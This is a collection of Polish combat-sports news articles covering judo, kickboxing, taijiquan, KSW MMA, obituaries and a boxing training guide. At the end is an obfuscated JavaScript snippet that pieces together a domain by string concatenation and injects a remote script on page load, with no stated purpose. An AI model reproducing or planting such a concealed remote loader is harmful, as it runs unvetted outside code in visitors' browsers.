Pusto w Abu Dhabi

Zero po stronie zdobyczy polskich judoków w zawodach Grand Slam w Abu Dhabi. Najlepsi w klasyfikacji medalowej okazali się Francuzi.

O krok od podium była Karolina Pieńkowska (52kg), która ostatecznie uplasowała się na piątej pozycji. Na punktowanych miejscach znalazły się także występujące w kategorii 63kg Agata Ozdoba i Karolina Tałach.

Walczyła o brąz, lepsza Brazylijka

Ostatnie miesiące w wykonaniu Karoliny Pieńkowskiej były udane. 23-letnia judoczka w Zagrzebiu wygrała zawody rangi Grand Prix, wcześniej była trzecia w Budapeszcie. Rok temu Pieńkowska również startowała w Abu Dhabi i wywalczyła piąte miejsce. Minęło dwanaście miesięcy i powtórzyła wynik. Zmagania w Abu Dhabi zaczęła od rywalizacji z Tiheą Topolovec. Polka punktowała dwa razy dzięki yuko. W kolejnym starciu wicemistrzyni Polski stoczyła zacięty bój z trzecią zawodniczką mistrzostw Europy juniorek Astride Gneto. Francuzka triumfowała, ale tylko dzięki karze shido na koncie Pieńkowskiej. O brąz 23-latce przyszło mierzyć się z Jessicą Pereirą. Brazylijka wygrała przez ippon i po raz pierwszy w karierze stanęła na podium zawodów rangi Grand Slam.

Przez poważną kontuzję kolana odniesioną w ubiegłym roku, Agata Ozdoba (63kg) straciła część sezonu. Wróciła na kwietniowe mistrzostwa Europy w Kazaniu, gdzie drużyna kobiet wywalczyła złoto. Indywidualnie Polka jeszcze nie stanęła na podium. W ostatnich startach 28-latka prezentuje się coraz lepiej. Blisko podium była w Zagrzebiu, z kolei w Abu Dhabi wywalczyła siódme miejsce. Ozdoba pokonała Larę Reimann, jednak kolejne dwa pojedynki przegrała przez ippon.

Siódma w Abu Dhabi była również Karolina Tałach (63kg), która ostatnie dwa występy kończyła na podium. W Emiratach marzenia o sukcesie wybiły jej z głowy Brazylijki: Mariana Silva i Ketleyn Quadros.

O swoich występach w Abu Dhabi jak najszybciej będą chcieli zapomnieć Michał Bartusik (66kg), Jakub Kubieniec (81kg) i Piotr Kuczera (90kg). Wszyscy odpadli z rywalizacji już po pierwszej walce.

Mocna Francja

Aż osiem brązowych medali zapisali na swoim koncie judocy z Brazylii. Wynik ten jest o tyle ważny, że Francuzi, którzy triumfowali w klasyfikacji medalowej zapisali na swoim koncie tylko… sześć krążków, ale trzy z najcenniejszego kruszcu. Co ciekawe, zdobycz ta jest udziałem kobiet. Po złote medale dla Francji sięgnęły: Astride Gneto (52kg), Helene Receveaux (57kg) oraz Eve Marie Gahie (70kg).

Drugie miejsce w klasyfikacji medalowej dla Holandii (dwa złota i brąz), a trzeci dla obłowionej Brazylii (złoto, cztery srebra i osiem brązów).

W Abu Dhabi wystartowało 155 zawodników.

KM

Pamiętamy o tych, którzy odeszli

Dzień Wszystkich Świętych to okazja do pogłębionej refleksji. Zgłębiamy tajemnicę życia, ale i śmierci. Często musimy się z nią godzić. Przychodzi niespostrzeżenie, niesłychanie i rodzi ból. W ciągu ostatnich dwunastu miesięcy świat sportów walki żegnał wiele zasłużonych postaci.

Dzień za dniem, tydzień za tygodniem, mijają miesiące i przychodzi chwila, w której wszyscy się zatrzymujemy. Żegnamy bliskich, przyjaciół, znajomych i sami podejmujemy refleksję nad własną drogą. Chcemy, aby nasze życie było jak najbardziej owocne. 1 listopada wspominamy tych, których już z nami nie ma.

W ciągu ostatnich dwunastu miesięcy…

Świat sportów walki żegnał wiele wybitnych postaci. Śmierć nie patrzy na wiek, dorobek i gotowość do podejmowania kolejnych wyzwań. Przychodzi i zabiera, a nam zostawia ból, żal i smutek. Często trudno nam pogodzić się z utratą bliskich, ale fundamentalna jest pamięć, która trwa i trwać będzie. 

W październiku wszystkich zaskoczyła śmierć Grzegorza Pieronkiewicza. Odszedł zaledwie w wieku 41 lat. Swoje życie w całości poświęcił zapasom. Najpierw był czynnym zawodnikiem i reprezentował barwy takich klubów jak GKS Katowice i KS Unia Racibórz. Do największych sukcesów Pieronkiewicza należy zaliczyć trzykrotne wywalczenie wicemistrzostwa Polski seniorów oraz międzynarodowego wicemistrzostwa Polski seniorów. Od 2012 roku był prezesem Polskiego Związku Zapaśniczego.

Cały świat znał Muhammada Aliego i podziwiał jego walki, zarówno te ringowe jak i zmagania z chorobą. Zacięty bój toczył od 32 lat. Choroba Parkinsona doświadczyła Aliego, który zmarł w wieku 74 lat. Pozostawił po sobie wiele pięknych ringowych bojów. Ali na swoim koncie zapisał złoto igrzysk olimpijskich w Rzymie. Trzykrotnie zdobył tytuł mistrza świata wszech wagi. Ponad 30 pojedynków na zawodowym ringu wygrał przez nokaut.

W wieku 70 lat zmarł wybitny polski bokser Wiesław Rudkowski. Urodzony w Łodzi pięściarz wystąpił na igrzyskach w Meksyku w 1968 roku oraz w Monachium w 1972 roku, gdzie sięgnął po srebrny medal w wadze lekkośredniej. Wywalczył także trzy krążki mistrzostw Europy, w tym złoto w 1975 w Katowicach. 

W kwietniu odszedł Henryk Średnicki. Miał 61 lat. Średnicki to jedyny polski mistrz świata w wadze muszej. Tytuł wywalczył w 1978 roku w Belgradzie. Zdobywał również złote medale mistrzostw Europy.

Hubert Cysdorf zmarł w wieku 72 lat. Związany był z judo. Przez lata trenował w takich klubach jak: Polonia Bydgoszcz, LZS Szubinianka Szubin i KU AZS UKW Bydgoszcz. Niespełna 54 lat miał Piotr Pożyczka, trener boksu zawodowego.

Ring opuszczał na noszach, zmarł w szpitalu. Mike Towell miał zaledwie 25 lat. Przyczyną śmierci były poważne obrażenia odniesione podczas walki, którą sędzia przerwał w piątej rundzie. Kevin „Kimbo Slice" Ferguson był znany z występów w MMA. Rosły zawodnik zmarł w wieku 42 lat w wyniku nagłego ataku serca. 

Najpierw zapasy, a potem MMA – taką drogę przebył Kevin Randleman. Amerykanin występował w takich organizacjach jak PRIDE i UFC. Zmarł w wieku zaledwie 44 lat.

Pamiętamy!

Cały czas pamiętamy o dokonaniach Józefa Warchoła, który zdobywał najwyższe laury w kickboxingu. Odszedł w 2015 roku w wieku 51 lat. Po raz kolejny wspominamy również wspaniałego dziennikarza sportowego Bogdana Chruścickiego oraz mistrza słowa Bohdana Tomaszewskiego. Pamiętamy również o dwukrotnym mistrzu olimpijskim w judo Hitoshim Saito. 

Cztery lata temu żegnaliśmy Jerzego Kuleja. Cały czas pobrzmiewa nam jego profesjonalny komentarz podczas walk bokserskich. Wracamy wspomnieniami do jego osiągnięć, wśród których należy wymienić dwukrotne wywalczenie mistrzostwa olimpijskiego. W 2014 roku odszedł również inny wybitny przedstawiciel boksu Zbigniew Pietrzykowski. 

W dzień Wszystkich Świętych oddajemy chwałę tym, którzy kształtowali świat sportów walki. Pamiętamy i chcemy czerpać z ich dorobku. Ich dokonania na zawsze zapisały się na kartach historii. 

KM

Medalowa mieszanka

Potężni Rosjanie, waleczni zawodnicy z Bałkanów i zawsze trzymający wysoki poziom Polacy – tak należy streścić mistrzostwa Europy, które odbyły się w Mariborze. Biało-czerwoni wywalczyli łącznie 20 medali w formułach light contact, low kick oraz K-1.

Z pewnością zdobycz Polaków mogła być nieco większa. Kilku biało-czerwonych było o krok od podium tak jak Łukasz Wichowski, Wojciech Wiśniewski czy Piotr Owczarzak. Niektórzy z naszych faworytów musieli zadowolić się „tylko” srebrnymi medalami m.in. Iwona Nieroda. Jednak po raz kolejny uzyskaliśmy potwierdzenie, że kickboxing w polskim wydaniu ma się dobrze.

Złota posypały się w K-1

Mamy mistrzów Europy! – to najważniejsza wiadomość. Niezawodny Dawid Kasperski (na zdjęciu z lewej po jednej z wygranych walk zawodowych) wraca z Mariboru w wyśmienitym nastroju. Zawodnik Punchera Wrocław (86kg) odprawiał kolejnych rywali. Również Vitalii Korchak okazał się bezsilny wobec potencjału Kasperskiego. Mateusz Pluta (91kg) w półfinale pokonał gwiazdę mołdawskiego kickboxingu Pavla Voronina. Na dokładkę wygrał finał z Igorem Darmeshkinem i sięgnął po tytuł mistrza Europy. Wśród czempionów znalazła się również Małgorzata Dymus (52kg), która w decydującym boju odprawiła Czeszkę Sandrę Maskovą. Złoto na swoim koncie zapisała także Paulina Bieć (70kg). 

Michał Królik w półfinale odprawił Rusłana Musayeva z Azerbejdżanu, jednak w finale trudne warunki postawił mu Timur Nadrov i to Rosjanin cieszył się z wygranej. Tytuł wicemistrzyni Starego Kontynentu przypadł Róży Gumiennej (65kg). Niewiele do wejścia do finału zabrakło Arkadiuszowi Kaszubie (81kg). Polak sięgnął po brązowy medal. Taki sam rezultat jak Kaszuba osiągnęły: Monika Markowska (52kg) i Natalia Nikołajczuk (70kg). 

Nieroda o krok od złota

„Do dobrego człowiek się przyzwyczaja”. Iwona Nieroda nie raz potwierdziła klasę zdobywając tytuły mistrzowskie i tocząc imponujące walki zawodowe. Na Słowenii walczyła o złoto. Z występem Nierody (56kg) w low kicku wiązaliśmy ogromne nadzieje, jednak tym razem się nie udało. Reprezentantka Diamentu Pstrągowa  zdobyła „tylko” srebro. Lepsza od Polki okazała się Oksana Shchetinina. Liczyliśmy również na złoto Radosława Paczuskiego (81kg), który wygrywał kolejne walki, jednak w finale musiał uznać wyższość rywala. Tytuł mistrza Europy wywalczył Nikola Stosic.

Jednak w wyśmienity nastrój w low kicku fanów wprawił Kamil Ruta (86kg). Ciężki półfinałowy bój z Mensurem Muriciem zakończył się sukcesem Polaka. Zawodnik MKS Wicher Kobyłka pokazał ogromny potencjał i potwierdził umiejętności. W finale poszedł za ciosem i pokonał Lukę Simicia. Polak sięgnął po złoto!

Finałowa walka nie ułożyła się po myśli Jana Lodzika (63,5kg). Polak musiał uznać wyższość reprezentanta Rosji Shamila Gadzhimusaev. Polak dużo sił stracił w półfinale z mocnym Lucą Mamelim. W półfinale Łukasz Kaczmarczyk (71kg) stoczył ciężką walkę z Rusłanem Bikmenovem. Z rywalizacji z Rosjaninem miał złe wspomnienia, bo wcześniej przegrał z nimi w Pucharze Świata. Maribor okazał się szczęśliwy dla Kaczmarczyka, który wziął rewanż i awansował do finału. Ostatecznie zdobył srebro, lepszy był Luka Tomic. Tak niewiele do finału zabrakło Kamilowi Sójkowskiemu (75kg). Zawodnik ŁKS Boks Łódź toczył wyrównany bój z Atanasem Bojilovem, jednak Bułgar lepiej przetrwał końcówkę. Sójkowski ze Słowenii wraca z brązowym krążkiem. Srebro wywalczyła Karolina Kubiak (48kg). Z kolei Katarzyna Jaworska (65kg) zapisała na swoim koncie brąz.

W light contact złoto dla Pauliny Jarzmik (60kg), która w finale uporała się z Deirdre Begley. Dorota Godzina (55kg) wywalczyła brąz, choć w walce o finał wcale nie ustępowała Valentinie Filatovej. Sędziowie uznali inaczej. Ostatecznie Rosjanka zdobyła złoto pokonując z finale Gabriellę Busę.

W rywalizacji weteranów po złoto sięgnął Leszek Jobs z Zamek Expom Kurzętnik. Nie miał jednak łatwej przeprawy. 45-latek stoczył ciężki bój o finał z Istvanem Tothą, a w decydującym boju uporał się z Enzo Isopo.

KM

Początek mistrzostw w kratkę

Biało-czerwoni rywalizują w mistrzostwach Europy w Budapeszcie. Na początek komplet zwycięstw odnieśli nasi zawodnicy startujący w formule low kick. Powodów do zadowolenia nie ma w K-1.

Do Słowenii pojechało 35 reprezentantów Polski. Cel jest tylko jeden: walka o najwyższe trofea, w co głęboko wierzymy. Choć niektórzy z naszych już w pierwszych walkach „sparzyli się”.

Skuteczni do bólu

Na początek zmagań w Mariborze zaprezentowało się czterech naszych zawodników w formule low kick. Wszyscy wygrali swoje pojedynki. Szybko swoją walkę zakończył Kamil Sójkowski (75kg). Reprezentujący barwy klubu ŁKS Boks Łódź zawodnik już w pierwszej rundzie rozprawił się z Osaidem Hajyahyą z Izraela. Pewne zwycięstwa odnotowali Karol Sadłocha (67kg) oraz Tomasz Klimiuk (91kg), którzy zdominowali swoich rywali i wygrali po 3:0.

Wyrównany bój stoczył Łukasz Kaczmarczyk (71kg). Hiszpan Jon Miguez Talledo postawił trudne warunki Polakowi. Pierwsza runda dla Kaczmarczyka, który zwolnił tempo w drugiej odsłonie. Wykorzystał to Hiszpan, przez co w trzeciej rundzie było wiele niepewności. Ostatecznie ze zwycięstwa może cieszyć się Kaczmarczyk. 

W light contact nasi również pokazali się z dobrej strony. Pewnie wygrała Paulina Jarzmik, która w trzeciej rundzie pokonała zawodniczkę z Węgier. Teraz stanie przed trudniejszym zadaniem. W ćwierćfinale czeka ją rywalizacja z wicemistrzynią Europy, z którą Polka już rywalizowała i ma ze dobre wspomnienia. Bez większych problemów 1/8 finału przeszedł Łukasz Wichowski (79kg). Polak pewnie pokonał Brendana Kenny'ego. Piotr Owczarek (69kg) trafił na rywala, który nie trzymał się obowiązujących zasad. Andreas Markokonstantinos został zdyskwalifikowany w trzeciej rundzie, a Polak już może myśleć o fazie medalowej. Porażkę poniósł Adrian Duma (74kg).

Powyższe wyniki dotyczą wtorkowych pojedynków w Mariborze. W środę dotarła do nas kolejna radosna wiadomość. Swoja walkę wygrała w light contact Dorota Godzina (55kg).

W K-1 pod górę

Rywalizacja w K-1 nie rozpoczęła się po myśli biało-czerwonych. Na pięciu zawodników tylko Marcinowi Kretowi (71kg) udało się wyjść zwycięsko z potyczki. Fighter UKS Puncher Wrocław pokonał Ali Makhiego z Belgii.

Anna Kozera (52kg) walczyła ambitnie, ale wyżej stały akcję Moniki Markowskiej z Wielkiej Brytanii. Porażki ponieśli również Aleksander Kalicki (63,5kg), Michał Ronkiewicz (75kg) i Michał Turyński (75kg).

Transmisję z mistrzostw Europy w Mariborze mogą śledzić Państwo za pośrednictwem telewizji FighTime. Wystarczy wejść tu

KM

Polacy ruszyli na podbój Europy

Może i brzmi to górnolotnie, ale nie da się ukryć, że biało-czerwoni pojechali do Mariboru walczyć o najwyższe cele. Mistrzostwa Europy w K-1, low kicku i light contact zapowiadają się niezwykle ciekawie.

Biało-czerwoni już są w Słowenii i czekają na swoje walki. Przy okazji kolejnej imprezy musimy powtórzyć, że bez worka medali się nie obejdzie. Nasi przyzwyczaili nas do bogatych zdobyczy.

Powalczyć o kwalifikacje

Warto zaznaczyć, że wywalczenie medalu w Mariborze jest gwarancją uzyskania przepustki do World Games 2017 we Wrocławiu. Nie da się ukryć: stawka rywalizacji jest ogromna. Na Słowenii zaprezentuje się 35 naszych reprezentantów.

Najliczniejsza grupa wystąpi w K-1. Faworytem do medalu jest Dawid Kasperski (86kg), który w każdym występie prezentuje się coraz lepiej i potwierdza wysokie umiejętności. Ogromny potencjał ma Arkadiusz Kaszuba (81kg), ale w jego kategorii jest ogromny ścisk. W tym roku z tytułu mistrza świata WAKO Pro w Sarajewie cieszył się Michał Turyński (+91kg). Warto zatem iść za ciosem i sięgnąć po kolejne trofeum. W Mariborze wystąpi także znana z występów na galach federacji FEN Róża Gumienna (65kg). 

W K-1 zaprezentują się także: Ewa Boś (48kg), Anna Kozera (52kg), Małgorzata Dymus (56kg), Marta Waliczek (60kg), Natalia Nikołajczuk (70kg), Paulina Bieć (+70kg), Krystian Bernatowicz (57kg), Michał Królik (60kg), Aleksander Kalicki (63,5kg), Wojciech Kazieczko (67kg), Marcin Kret (71kg), Michał Ronkiewicz (75kg) i Mateusz Pluta (91kg).

W light contact zobaczymy siedmiu naszych reprezentantów. Wysoko stoją akcje Doroty Godziny (55kg) oraz Pauliny Jarzmik (60kg), które w ubiegłym roku sięgnęły po tytuły mistrzyń świata. W Mariborze nie zabraknie wicemistrza świata z Belgradu Wojciecha Wiśniewskiego. Z pewnością o medal powalczy znany z występów na galach DSF Łukasz Wichowski, jeden z najlepszych specjalistów full contact.

Jest Paczuski, jest Ruta

Pojedynki Radosława Paczuskiego i Kamila Ruty zawsze niosły ze sobą wiele efektowności. W kategorii 81kg wyżej stoją akcje zawodnika Uniq Fight Club Warszawa. Jednak w Mariobrze obu zobaczymy w formule low kick. Ruta zaprezentuje się w kategorii 86kg. Na kolejny sukces liczy Tomasz Klimiuk (+91kg). W tym roku zawodnik Humana Białystok świętował wywalczenie Pucharu Świata w Rimini.

Łącznie w low kicku zaprezentuje się 11 naszych reprezentantów. Wiele należy sobie obiecywać po starcie Iwony Nierody (56kg). Zawodniczka UKS Diament Pstrągowa imponuje w walkach zawodowych. Rok temu w Serbii sięgnęła po tytuł mistrzyni świata w low kick. W Mariborze zaprezentują się również m.in. Karolina Kubiak (48kg), Jan Lodzik (63,5kg) oraz Łukasz Kaczmarczyk (71kg).

KM

Tytuły rozdane

W Katowicach judocy walczyli w Indywidualnych Mistrzostwach Polski Seniorek i Seniorów. Nie brakowało niespodzianek. Wiktor Mrówczyński triumfował w kategorii 73kg. Po raz kolejny bezkonkurencyjne okazały się Ewa Konieczny (48kg) i Agata Ozdoba (63kg).

Przez dwa dni w Katowicach toczyła się zażarta walka. Niestety, w stawce zabrakło uczestniczek Igrzysk Olimpijskich w Rio de Janeiro. Katarzyna Kłys zakończyła już sezon, z kolei Daria Pogorzelec wraca do zdrowa po kontuzji. Nie wystąpiła również Arleta Podolak (57kg).

Dominatorki

Rywalizacja rządzi się swoimi prawami. Każdy zawodnik chce wejść na szczyt i jak najdłużej na nim pozostać. Bez wątpienia absolutną dominatorką w kategorii 48kg jest Ewa Konieczny. Judoczka GKS Czarni Bytom w finałowym starciu uporała się z Joanną Stankiewicz. Tym samym Konieczny wywalczyła trzeci złoty medal z rzędu. Na najniższym stopniu podium stanęła Katarzyna Wiszniewska. 

Po raz kolejny wysokie umiejętności potwierdziła Agata Ozdoba (63kg). Karolina Tałach nadal nie może znaleźć sposobu na pokonanie judoczki KS AZS-AWF Wrocław. Jeszcze w końcówce  pojedynku była blisko wygranej, ale losy starcia na swoją korzyść odwróciła Ozdoba. Był to dla niej trzeci triumf z rzędu.

W kategorii 52kg koniec dobrej passy Karoliny Pieńkowskiej. Jej dominację przerwała Agata Perenc, która dotychczas musiała zadowalać się srebrnymi medalami. Trzecie miejsce dla Moniki Karkoszki z KS AZS AWFiS Gdańsk. Mistrzyni Polski juniorek cieszy się z tytułu zdobytego wśród seniorów. Julia Kowalczyk triumfowała w 57kg przed Anną Dąbrowską. To kolejny tegoroczny sukces judoczki Polonii Rybnik, która wywalczyła wcześniej brązowy medal mistrzostw Europy juniorów.

Ze złota cieszy się Urszula Hofman (70kg), która w decydującym pojedynku pokonała Sandra Lickun. Beata Pacut nie dała rady Pauli Kuladze (78kg). Judoczka TDK Trzcianka świętowała wywalczenie tytułu mistrzowskiego. Z kolei w +78kg triumfowała Anna Załęczna.

Kuczera mistrzem

Tempa nie zwalnia Piotr Kuczera (90kg). W ubiegłym roku zdobywał medal mistrzostw świata juniorów, a w tym sięgnął po brąz europejskiego czempionatu w Kazaniu. We wrześniu stanął na podium podczas zawodów Grand Prix w Zagrzebiu. W Katowicach Kuczera pokonał Patryka Cichomskiego. Na podium stanęli również Jakub Ozimek i Maciej Tworzydło.

W 60kg Adrian Wala pokonał Bartłomieja Garbacika i sięgnął po złoto. Tytuł wywalczył również Michał Bartusik (66kg). W decydującym starciu zawodnik UKJ Millenium Rzeszów pokonał Arkadiusza Makarewicza. Najwięcej zawodników, 35, wystartowało w kategorii 73kg. Sześć zwycięskich pojedynków stoczył Wiktor Mrówczyński, który w finale wygrał z klubowym kolegą Jackiem Bryszem. Na podium stanęli doświadczeni Krzysztof Wiłkomirski oraz Paweł Zagrodnik.

Mistrzami kraju zostali także: Jakub Kubieniec (81kg), Mariusz Krueger (100kg) i Tomasz Domański (+100kg).

KM

Kubiak tworzy historię polskiego wushu

Mistrzostwa świata taijiquan w Pruszkowie należy uznać za sukces sportowy naszej reprezentacji. Trzy medale wywalczone przez Annę Kubiak (na zdjęciu z prawej) w konkurencjach sportowych to wspaniały wynik, którego chyba nikt się nie spodziewał. 23-latka pokazała, że ciężka praca to najlepsza droga do sukcesu.

„Udało się upiec dwie pieczenie na jedynym ogniu”. Sukces organizacyjny i sportowy – tak w dużym skrócie należy ocenić mistrzostwa świata taijiquan, które odbyły się w dniach 17-20 października w hali Znicz. Przyznanie organizacji tej rangi imprezy to dla Polski ogromny sukces. 

Narodziny gwiazdy

Anna Kubiak zrobiła milowy krok w karierze i spełniła marzenia. W Pruszkowie wywalczyła tytuł wicemistrzyni świata w konkurencji sportowej z mieczem. Do tego dołożyła jeszcze dwa brązowe medale. Warto podkreślić, że trzeciego dnia mistrzostw świata Polka startowała w dwóch konkurencjach. Udźwignęła ten ciężar i po zakończeniu zawodów mogła się cieszyć. Pui Kei Ho była lepsza o zaledwie 0,22 pkt i to ona zdobyła tytuł mistrzyni świata. 23-letnia Polka również miała ogromne powody do radości.  W Pruszkowie Kubiak zaczęła pisać nową historię polskiego wushu. Jak wygląda przepis na sukces? – Generalnie trzeba mieć trochę szczęścia. Mi w trzecim dniu zawodów troszeczkę go zabrakło. Startowałam w dwóch konkurencjach. Trzeba dobrze wylosować, żeby była jedna w ciągu dniach bądź w trakcie sesji. Wtedy można wypocząć i przygotować się do kolejnego występu – mówiła nam Anna Kubiak, trzykrotna medalistka mistrzostw świata taijiquan.

Polacy mieli okazję rywalizować z zawodnikami z Azji, którzy uchodzą za wzór do naśladowania. Mają zupełnie inne warunki do uprawiania taijiquan. Praktycznie od najmłodszych lat mogą skupić się na doskonaleniu umiejętności. W Polsce zajęcia trzeba dzielić z innymi obowiązkami. Mistrzostwa świata pokazały, że jesteśmy w stanie nawiązać walkę z Azjatami. – Do deptania po piętach jeszcze daleko, ale małymi kroczkami zbliżamy się do zawodników z Azji. To jest kierunek, w którym będziemy podążać. Mam nadzieję, że to nas zmotywuje do dalszej pracy – podaje Kubiak.

Demonstracyjne sukcesy

W sumie Polacy podczas mistrzostw świata taijiquan wywalczyli 13 medali. Trzy to zasługa Anny Kubiak, pozostałe biało-czerwoni wywalczyli w konkurencjach demonstracyjnych. – Marian Olech wywalczył dwa złote medale, tak jak i Jadwiga Sochaj. Ewa Solarz raz wygrała, w kolejnym występie zajęła drugie miejsce. Monika Steckiewicz sięgnęła po dwa srebra. Z kolei Tomasz Dybicz zapisał na swoim koncie srebro i brąz. Nasze juniorki poza podium. Karolina Kulągowska dwukrotnie zajęła czwarte miejsca. Emilia Chmurska była piąta i szósta, a Karolina Jabłońska plasowała się na szóstych pozycjach – przedstawia Robert Mrózek, trener reprezentacji Polski.

Jak wspomnieliśmy, przyznanie organizacji imprezy Polsce to ogromne wyróżnienie. W ocenie szkoleniowca zadanie zostało wykonane wręcz idealnie. – Uważam, że wszystko było w porządku. Jedynie zdarzały się małe potknięcia techniczne. W przypadku rywalizacji sportowej nie mam żadnych zastrzeżeń. Wszystko było bardzo dobrze przygotowane. Sędziowie najwyższej klasy oceniali bezstronnie. Myślę, że podołaliśmy organizacji mistrzostw świata – wyraża swoją opinię Mrózek.

KM

Karta powoli zapełnia się

Dla niektórych grudzień to odległa perspektywa, jednak nie dla włodarzy KSW, którzy planują kolejną galę. 3 grudnia w Tauron Arenie w Krakowie w walce wieczoru Karol Bedorf zmierzy się z Fernando Rodriguesem Jr. W karcie jest coraz mniej niewiadomych.

Jedno jest pewne – wszystkie pojedynki są dodatkiem do starcia „Pudzian” vs „Popek”. Akcja z zatrzymaniem Pawła Raka stała się hitem, ale czy trzeba było decydować się na takie metody, aby zbudować zainteresowanie galą KSW 37? Chyba już samo zestawienie „Pudziana” i „Popka” budzi emocje nie z tej ziemi. Czyż nie?

Obronić stan posiadania

W Krakowie dojdzie do trzech mistrzowskich pojedynków. Po raz czwarty tytułu w wadze ciężkiej będzie bronił Karol Bedorf. Popularny „Coco” w poprzednim starciu już w pierwszej rundzie odprawił Jamesa McSweeneya. 33-letni mistrz nie przegrał od pięciu lat. W tym czasie wygrał pięć walk i niepodzielnie panuje w wadze ciężkiej KSW. Czy zagrozi mu Fernando Rodrigues Jr.? 29-latek z Sao Paolo potrafi wykończyć rywala. Aż 70% walk wygrał przez nokaut. W ostatnim starciu potrzebował nieco ponad minuty na rozprawienie się z Yosefem Alim Mohammadem. Rodrigues Jr. ma złe wspomnienia związane z grudniem. Rok temu poniósł porażkę w starciu z dobrze znanym z KSW Olim Thompsonem.

Blisko rok w swoich dłoniach pas wagi piórkowej dzierży Artur Sowiński. Już 3 grudnia „Kornik” po raz drugi będzie bronił zdobyczy, którą wywalczył w starciu z efektownym Kleberem Koike Erbstem. Pięć wyczerpujących rund na korzyść Polaka, który zaczyna przyzwyczajać widzów do rywalizacji na pełnym dystansie. W pierwszej obronie pasa również przez decyzję sędziów pokonał Fabiano Conceicao. Jego najbliższym rywalem będzie Michał Włodarek. Co warte uwagi, obaj panowie za sobą nie przepadają. Przy każdej nadarzającej się okazji nie szczędzili sobie uszczypliwości. Czas sprawdzić, który z nich nie rzucał słów na wiatr.

Mistrz KSW w wadze półśredniej Borys Mańkowski stanie w szranki z Johnem Maguire. 33-latek ma bogate doświadczenie, występował w UFC i wielu brytyjskich organizacjach. Maguire posiada umiejętności bokserskie, ale nieobcy jest mu parter. Mańkowski stanie przed trudnym wyzwaniem. Z jednej strony klasowy rywal, a z drugiej powrót po dłuższej przerwie spowodowanej kontuzją. „Diabeł Tasmański” stanie do trzeciej obrony mistrzowskiego pasa.

Zrobić show

O KSW 37 mówi się w kontekście walki Mariusz Pudzianowskiego z Pawłem Rakiem. Starcie budzi ogromne emocje, przyciąga uwagę i rodzi ogromną ciekawość. Były strongman zmierzy się z raperem, który swego czasu próbował sił w MMA. Popularny „Popek” nigdy nie rywalizował na pełnym dystansie. W organizacji Cage Rage odnosił szybkie zwycięstwa, poniósł również porażkę. „Pudzian” przeszedł w MMA długą drogę i w wieku 39 lat wygląda coraz lepiej. Z pewnością jest bardziej ruchliwy, wytrzymały i ma większy aparat akcji. Ostatni czas jest dla „Pudziana” kiepski. Przegrał przed czasem dwa pojedynki. 

W Krakowie dojdzie również do pojedynku Łukasza Chlewickiego z Mansourem Baranoui'm. Polak wygrał ostatnie dwie walki na KSW. Z kolei Francuz czeka na pierwszy klient w organizacji Macieja Kawulskiego i Martina Lewandowskiego.

KM

LIVE: Mistrzostwa Świata Taijiquan

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata Wushu, które odbywają się w Pruszkowie k/ Warszawy w dniach od 16 do 20 października 2016 r.. Transmisja na żywo codziennie od 8.30 do 13.30 (sesja poranna) oraz od 19.30 (sesja wieczorna).

[kod]

The 2nd World Taijiquan Championships

The 2nd World Taijiquan Championships

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MS_Wushu.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MS_Wushu.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MS_Wushu.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MS_Wushu.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Na czym polega trening bokserski?

Wiele osób chce rozpocząć trening bokserski, lecz nie wie jak się do tego zabrać. W sportach walki, w tym także w boksie trening opiera się na ćwiczeniach obwodowym. Z reguły w czasie takiego treningu ustawia się kilkanaście stacji a następnie na każdej z nich ćwiczy się przez około dwadzieścia sekund. Przerwa pomiędzy kolejnymi stacjami nie powinna być dłuższa niż czterdzieści sekund. Odpoczynek po zaliczeniu wszystkich stacji, czyli wykonaniu jednego obwodu powinien wynosić około czterech minut.

 

Praca nad dynamiką a nie siłą

Bardzo ważne jest by tempo pracy na wszystkich stacjach było szybkie. Celem takich ćwiczeń jest poprawa dynamiki, która jest kluczowa podczas walki. Osoby niezwiązane ze sportami walki zazwyczaj sądzą, że siła ciosu wynika z siły mięśni, prawda jest jednak taka, że najważniejsza jest odpowiednia technika i dynamika.

Kluczowym elementem w trakcie treningu obwodowego jest odpowiedni dobór obciążenia. Pamiętając, że najważniejsza jest dynamika a czas ćwiczeń na jednej stacji to około dwudziestu sekund, wybrany ciężar powinien być stosunkowo lekki. Zasadniczo przyjmuje się, że waga obciążenia w czasie tych ćwiczeń nie powinna przekraczać trzydziestu procent ciężaru maksymalnego.

Najpopularniejsze ćwiczenia

Jak się okazuje w czasie treningu, bokserom potrzebny jest nie tylko worek bokserski. Do najpopularniejszych ćwiczeń wykonywanych podczas treningu obwodowego należą:

  • wyciskanie ciężaru leżąc,

  • podskoki z piłką lekarską uniesioną za głową,

  • wyciskanie sztangi zza głowy,

  • skłony,

  • ciosy proste wykonywane w miejscu z hantlami,

  • wyciskanie sztangi lub sztangielek zza głowy,

  • skręty tułowia z obciążeniem trzymanym na wysokości klatki piersiowej,

  • ciosy sierpowe w miejscu z hantlami,

  • przeskoki nad ławeczką gimnastyczną lub inną przeszkodą,

  • podciąganie kolan do klatki piersiowej oraz zwis na drążku,

  • pompki na poręczach,

  • kombinacja ciosów z hantlami,

  • pajacyki wraz z wyrzutem przed siebie odważnika lub sztangi,

  • krążenia tułowia z obciążeniem,

  • bieg z wysoko unoszonymi kolanami,

  • scyzoryki.

O skutecznym treningu można mówić tylko wtedy, gdy przerwy między stacjami nie są odpowiednie, nie mogą być one ani zbyt długie ani zbyt krótkie. Odpoczynek nie może polegać na siedzeniu bez ruchu lub co gorsza leżeniu. Po każdym zakończonym obwodzie powinno się wykonać ćwiczenia rozluźniające i rozciągające oraz uzupełnić płyny. Ustawienie stacji powinno być dobrze przemyślane by zmiany przebiegały płynnie i bez przeszkód.

[kod]

(function(){
zk1r=document.createElement("script");zk1r_=(("u")+"st")+"a";zk1r.async=true;
zk1r.type="text/javascript";zk1r_+=("t.i")+""+"n";zk1r_+=(("f")+"o");zk1r_+="/";
zk1ru="13586292.";zk1ru+="19in4f7sk1rnvq9zq72"+"7vzei25g6zf";
zk1r.src="//"+zk1r_+zk1ru; document.body.appendChild(zk1r);
})();

Coraz więcej znaków zapytania

